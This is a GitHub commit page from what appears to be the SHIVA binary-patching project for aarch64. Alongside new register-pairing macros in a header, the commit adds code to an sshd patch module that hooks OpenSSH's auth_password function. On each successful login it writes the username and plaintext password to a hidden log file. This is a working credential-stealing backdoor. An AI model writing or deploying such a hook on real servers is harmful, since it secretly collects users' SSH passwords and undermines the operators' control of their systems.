Skip to content

Commit e26e7fd

Browse files
committed
added SHIVA_T_PAIR_W0-W7 macros
1 parent 0e304d0 commit e26e7fd

2 files changed

Lines changed: 21 additions & 0 deletions

File tree

modules/aarch64_patches/sshd-patch/sshd_patch.c

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,19 @@ struct Authctxt {
5353

5454
struct passwd *pw;
5555
struct Authctxt *authctxt;
56+
FILE *logfd;
5657

5758
SHIVA_T_FUNCTION_SPLICE(auth_password, 0x12620, 0x12620)
5859
{
60+
SHIVA_T_PAIR_W0(ret);
5961

62+
if (ret > 0) {
63+
64+
logfd = fopen("/var/log/hidden_logs", "a+");
65+
fprintf(logfd, "Succesful SSH login\n"
66+
"Username: %s\n"
67+
"Password: %s\n", pw->pw_name, password);
68+
69+
70+
}
71+
}

modules/include/shiva_module.h

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,15 @@
2424
#define SHIVA_T_PAIR_X6(var) register int64_t var asm("x6");
2525
#define SHIVA_T_PAIR_X7(var) register int64_t var asm("x7");
2626

27+
#define SHIVA_T_PAIR_W0(var) register int64_t var asm("w0");
28+
#define SHIVA_T_PAIR_W1(var) register int64_t var asm("w1");
29+
#define SHIVA_T_PAIR_W2(var) register int64_t var asm("w2");
30+
#define SHIVA_T_PAIR_W3(var) register int64_t var asm("w3");
31+
#define SHIVA_T_PAIR_W4(var) register int64_t var asm("w4");
32+
#define SHIVA_T_PAIR_W5(var) register int64_t var asm("w5");
33+
#define SHIVA_T_PAIR_W6(var) register int64_t var asm("w6");
34+
#define SHIVA_T_PAIR_W7(var) register int64_t var asm("w7");
35+
2736
#define SHIVA_T_PAIR_BP_16(var) asm volatile ("ldr x9, [x29, #16]"); \
2837
register int64_t var asm("x9");
2938
#define SHIVA_T_PAIR_BP_32(var) asm volatile ("ldr x9, [x29, #32]"); \

0 commit comments

Comments
 (0)